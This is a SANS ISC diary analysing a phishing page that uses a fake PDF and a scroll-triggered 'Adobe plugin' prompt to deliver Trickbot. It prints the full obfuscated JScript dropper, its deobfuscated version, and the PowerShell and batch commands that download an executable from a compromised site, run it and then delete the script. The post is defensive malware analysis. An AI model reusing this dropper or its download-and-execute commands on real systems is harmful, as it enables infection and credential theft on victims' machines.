SANS ISC: Nice Phishing Sample Delivering Trickbot

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SANS ISC InfoSec Forums

Users have to deal with phishing for a very long time. Today, most of them remain dumb messages quickly redacted with a simple attached file and a message like “Click on me, it’s urgent!”. Yesterday, I put my hands on a very nice sample that deserve to be dissected to demonstrate that phishing campaigns remain an excellent way to infect a computer! In the following scenario, nobody was hurt and the targeted user took the right action to report it to the security team.

Let’s review the classic initial email:

When the victim clicks on the link, this initial screen is displaying mimicking a PDF file. Note that the password in the mail body is not used.

The different links do not work and only empty pages are displayed from the fake PDF. What will most of the users do in this situation? They scroll down! This event can be intercepted by JavaScript:

window.onscroll = function (e) {  
  // called the malicious code.  
} 

When the victim starts scrolling, the following popup is displayed:

The user is asked to install an Adobe PDF plugin update disguised as a Windows JavaScript: ‘Adobe-PDF-Install.js’.

Here is a dump of the script:
(Note: the code has been beautified for easier reading)

new Function(['var jingrang = new ActiveXObject("Scripting.FileSystemO', "blitzden", "MakcRulit586", "bearchuck", "swaybang"][0] +["foxlinux", "AVEVARUM", 'bject");
var zitebrok = jingrang.GetSpecialFolder(2)+"\\\\\\\\ogc'][2] + ['igr.txt";
var picture137 = jingrang.CreateTextFile(zitebrok, true);
picture137.', "ANIKVOBOL", "welcomes", "multicast"][0] + ['WriteLine("dogstever");picture137.Close();
var tuesaint ', "ANILAZARO", "capchaos", "ilivhsaivhcazd"][0] + ["houndchi", "SoulxGreatx", '= jingrang.GetFileVersion(zitebrok);
if(typeof tuesaint == "string"', "labareda"][2] + ["vorezeak", ') {
  String.prototype.cultrulf = function () {
    var oscargator = []', "nguyen008"][1] + ["doctelecom", ';
    for (var i = 0; i < arguments.length; i++) {
      oscargator.p', "gryunaca"][1] + ['ush(arguments[i]);
    }
    return eval("String.fromCharCod', "banditcat", "taylor1970", "brabwhee"][0] + iiksniglO() + String.fromCharCode(Math.floor(Math.random() + 110)) + ['(",")+")");
  }
};', "fledcinc", "cooledge"][0])();

function iiksniglO(){
  return ("disintegrator", "pematric", "coupdrat", "sevenisis", 'e("+oscargator.joi'.banga123()) + clumblis() + 'oi';
}

function clumblis() {
  var objWMIService = GetObject("winmgmts:"); var o = "";
  try {
    var objLD = objWMIService.Get("Win32_LogicalDisk.DeviceID='y1:'"); o = "1";
  }
  catch (e) {
    o = '("+oscargator.j';} return o;
  }
  function String.prototype.banga123(){
    return this.split('').reverse().pop();
  }
  new Function("".cultrulf(118, 97, 114, 32, 102, 115, 111, 32, 61, 32, 110, 101, 119, 32) + ''.cultrulf(65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99, 116, 40) +
 "".cultrulf(34, 83, 99, 114, 105, 112, 116, 105, 110, 103, 46, 70, 105, 108) + "".cultrulf(101, 83, 121, 115, 116, 101, 109, 79, 98, 106, 101, 99, 116, 34) + ''.cultrulf(41, 59, 118, 97, 114, 32, 116, 101, 109, 112, 32, 61, 32, 102) + "".cultrulf(115, 111, 46, 71, 101, 116, 83, 112, 101, 99, 105, 97, 108, 70) + ''.cultrulf(111, 108, 100, 101, 114, 40, 50, 41, 59, 118, 97, 114, 32, 115) + ''.cultrulf(99, 114, 105, 112, 116, 32, 61, 32, 34, 80, 111, 119, 101, 114) + "".cultrulf(83, 104, 101, 108, 108, 32, 92, 34, 102, 117, 110, 99, 116, 105) + ''.cultrulf(111, 110, 32, 69, 98, 102, 117, 56, 40, 91, 83, 116, 114, 105) + ''.cultrulf(110, 103, 93, 32, 36, 109, 99, 117, 100, 118, 108, 115, 108, 97) + "".cultrulf(41, 123, 40, 78, 101, 119, 45, 79, 98, 106, 101, 99, 116, 32) + ''.cultrulf(83, 121, 115, 116, 101, 109, 46, 78, 101, 116, 46, 87, 101, 98) + ''.cultrulf(67, 108, 105, 101, 110, 116, 41, 46, 68, 111, 119, 110, 108, 111) + "".cultrulf(97, 100, 70, 105, 108, 101, 40, 36, 109, 99, 117, 100, 118, 108) + ''.cultrulf(115, 108, 97, 44, 39, 34, 32, 43, 32, 116, 101, 109, 112, 32) + "".cultrulf(43, 32, 34, 92, 92, 110, 111, 113, 110, 119, 117, 116, 106, 46) + "".cultrulf(101, 120, 101, 39, 41, 59, 83, 116, 97, 114, 116, 45, 80, 114) + "".cultrulf(111, 99, 101, 115, 115, 32, 39, 34, 32, 43, 32, 116, 101, 109) + ''.cultrulf(112, 32, 43, 32, 34, 92, 92, 110, 111, 113, 110, 119, 117, 116) + "".cultrulf(106, 46, 101, 120, 101, 39, 59, 125, 116, 114, 121, 123, 69, 98) + "".cultrulf(102, 117, 56, 40, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111) + ''.cultrulf(105, 110, 105, 99, 111, 115, 46, 105, 111, 47, 105, 109, 97, 103) + ''.cultrulf(101, 115, 47, 108, 111, 103, 111, 46, 98, 105, 110, 39, 41, 125) + ''.cultrulf(99, 97, 116, 99, 104, 123, 69, 98, 102, 117, 56, 40, 39, 104) + "".cultrulf(116, 116, 112, 58, 47, 47, 99, 111, 105, 110, 105, 99, 111, 115) + "".cultrulf(46, 105, 111, 47, 105, 109, 97, 103, 101, 115, 47, 108, 111, 103) + ''.cultrulf(111, 46, 98, 105, 110, 39, 41, 125, 34, 59, 118, 97, 114, 32) + ''.cultrulf(110, 97, 109, 101, 66, 97, 116, 32, 61, 32, 34, 115, 100, 106) + ''.cultrulf(107, 102, 104, 34, 59, 118, 97, 114, 32, 112, 97, 116, 104, 66) + "".cultrulf(97, 116, 32, 61, 32, 116, 101, 109, 112, 32, 43, 32, 34, 92) + "".cultrulf(92, 34, 32, 43, 32, 110, 97, 109, 101, 66, 97, 116, 32, 43) + ''.cultrulf(32, 34, 46, 98, 97, 116, 34, 59, 118, 97, 114, 32, 111, 117) + "".cultrulf(116, 70, 105, 108, 101, 32, 61, 32, 102, 115, 111, 46, 67, 114) + ''.cultrulf(101, 97, 116, 101, 84, 101, 120, 116, 70, 105, 108, 101, 40, 112) + "".cultrulf(97, 116, 104, 66, 97, 116, 44, 32, 116, 114, 117, 101, 41, 59) + ''.cultrulf(111, 117, 116, 70, 105, 108, 101, 46, 87, 114, 105, 116, 101, 76) + ''.cultrulf(105, 110, 101, 40, 115, 99, 114, 105, 112, 116, 41, 59, 111, 117) + ''.cultrulf(116, 70, 105, 108, 101, 46, 67, 108, 111, 115, 101, 40, 41, 59) + "".cultrulf(118, 97, 114, 32, 115, 104, 101, 108, 108, 32, 61, 32, 110, 101) + "".cultrulf(119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99) + ''.cultrulf(116, 40, 34, 87, 83, 99, 114, 105, 112, 116, 46, 83, 104, 101) + ''.cultrulf(108, 108, 34, 41, 59, 115, 104, 101, 108, 108, 46, 114, 117, 110) + ''.cultrulf(40, 112, 97, 116, 104, 66, 97, 116, 44, 32, 48, 41, 59, 102) + ''.cultrulf(115, 111, 46, 68, 101, 108, 101, 116, 101, 70, 105, 108, 101, 40) + "".cultrulf(87, 83, 72, 46, 83, 99, 114, 105, 112, 116, 70, 117, 108, 108) + ''.cultrulf(78, 97, 109, 101, 41, 59))();

Once the garbage code removed and some deobfuscation, you get some PowerShell code: (also beautified)

var fso = new ActiveXObject("Scripting.FileSystemObject”);
var temp = fso.GetSpecialFolder(2);
var script = “
PowerShell \"function Ebfu8([String] $mcudvlsla) {
  (New-Object System.Net.WebClient).DownloadFile($mcudvlsla,'" + temp + "\\noqnwutj.exe’);Start-Process '" + temp + "\\noqnwutj.exe’;}
  try{Ebfu8('http://coinicos.io/images/logo.bin’)}
catch{Ebfu8('http://coinicos.io/images/logo.bin')}";var nameBat = "sdjkfh";var pathBt = temp + "\\" + nameBat + ".bat";var outFile = fso.CreateTextFile(pathBat, true);outFile.WriteLine(script);outFile.Close();var shell = new ActiveXObject("WScript.Shell");shell.run(pathBat, 0);fso.DeleteFile(WSH.ScriptFullName);

It creates the following batch file in %TEMP%:

PowerShell "function Ebfu8([String] $mcudvlsla){(New-Object System.Net.WebClient).DownloadFile($mcudvlsla,'C:\DOCUME~1\Xavier\LOCALS~1\Temp\noqnwutj.exe');Start-Process 'C:\DOCUME~1\Xavier\LOCALS~1\Temp\noqnwutj.exe';}try{Ebfu8('http://coinicos.io/images/logo.bin')}catch{Ebfu8('http://coinicos.io/images/logo.bin’)}

And executes it via a CMD.exe:

cmd /c ""C:\DOCUME~1\Xavier\LOCALS~1\Temp\sdjkfh.bat" "

The compromised website ("coinicos.io") may think about a new crypto miner attack but it's not the case. The site is just used to deliver the payload. It is downloaded and executed by PowerShell. Its current VT score is 19/66 [1]. The PE file copies itself in %APPDATA%\Roaming\wsxmail\lloydt.exe and creates a scheduled task called “MsTools" for persistence (see my last diary[2]). This is a classic Trickbot[3]. To resume we have the following infection path:

Email > JavaScript > PowerShell > Batch file > Scheduled task

[1] https://www.virustotal.com/en/file/aff5fa4ec4cd78bcf5f1c712f361bbd7d428800bea08c23cae66f0947e66c2a3/analysis/1525780303/
[2] https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/
[3] https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key